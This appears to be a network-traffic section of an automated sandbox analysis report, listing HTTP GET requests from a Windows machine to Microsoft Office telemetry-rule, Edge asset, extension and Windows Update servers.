Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1733377708&P2=404&P3=2&P4=cqCJ3hmSFK98sQfRKgAp3t%2b4Nl9l7AupP7gvm4C0tf%2fZ46V0r2larNcfKMfW0z9iBEqUqvIExnw43B2j2gYQLg%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: IANZqdeINjfYbsE6vhVeNpSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule90401v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=9AM7fOcMCZtunDN&MD=TF3CUE6U HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
